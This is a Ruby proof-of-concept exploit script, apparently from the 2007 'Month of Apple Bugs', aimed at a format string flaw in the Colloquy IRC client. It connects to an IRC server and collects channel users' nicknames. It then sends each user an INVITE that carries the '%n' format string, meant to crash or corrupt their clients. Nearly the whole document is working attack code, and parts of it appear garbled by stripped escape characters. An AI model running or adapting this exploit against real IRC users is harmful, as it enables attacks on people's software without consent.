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MOAB-16-01-2007.rb.txt

Posted on 20 January 2007

#!/usr/bin/ruby
# (c) Copyright 2006 Lance M. Havok <lmh@info-pull.com>
#
# Makes use of the Colloquy INVITE format string vulnerability.
#

require 'socket'

target_channel  = (ARGV[0] || "#whatever")
target_server   = (ARGV[1] || "irc.server.org")
target_port     = (ARGV[2] || 6667)

rand_nick       = "spongebo"
channel_joined  = false
ready_to_go     = false
abuse_attempts  = 2
chan_fmtstring  = ("#%n%n%n%n") # develop payload when feeling like it.
target_furries = []

irc_socket = TCPSocket.new(target_server, target_port.to_i)

irc_socket.print "USER #{rand_nick} localhost localhost r
"
irc_socket.print "NICK #{rand_nick}
"
while true
s = irc_socket.gets
case s.strip
when /^PING :(.+)$/i
puts "++ PING..."
irc_socket.send "PONG :#{$1}
", 0
puts "++ PONG."
when /^:(.+?)!(.+?)@(.+?)sPRIVMSGs.+s:[01]PING (.+)[01]$/i
puts "++ CTCP PING from #{$1}!#{$2}@#{$3}"
irc_socket.send "NOTICE #{$1} :01PING #{$4}01
", 0
when /^:(.+?)!(.+?)@(.+?)sPRIVMSGs.+s:[01]VERSION[01]$/i
puts "++ CTCP VERSION from #{$1}!#{$2}@#{$3}"
irc_socket.send "NOTICE #{$1} :01VERSION Unabomber v0.01101
", 0
when /n=(.+) (.+) (.+) (.+) (.+) (.*)$/i
nickarr = s.scan(/n=(.+) (.+) (.+) (.+) (.+) (.*)/).flatten

if nickarr.size > 3
if nickarr[2].size > 2 and nickarr[2] != target_server
nickarr = nickarr[2]
elsif nickarr[1].size > 2 and nickarr[1] != target_server
nickarr = nickarr[1]
elsif nickarr[3].size > 2 and nickarr[3] != target_server
nickarr = nickarr[3]
end

target_furries << nickarr
end
else
unless channel_joined
#irc_socket.send "JOIN #{target_channel}
", 0 (uncomment to join channel)
irc_socket.send "JOIN #{chan_fmtstring}
", 0
channel_joined = true
end

if channel_joined and abuse_attempts != 0
irc_socket.send "WHO #{target_channel}
", 0
abuse_attempts -= 1
end

# we need to throttle the pwnage or server will kick our ass
if target_furries.size > 1
target_furries.each do |zealot|
puts "++ Pwning #{zealot}"
irc_socket.send "INVITE #{zealot} #{chan_fmtstring}
", 0
sleep 1
end
end
end
end

 

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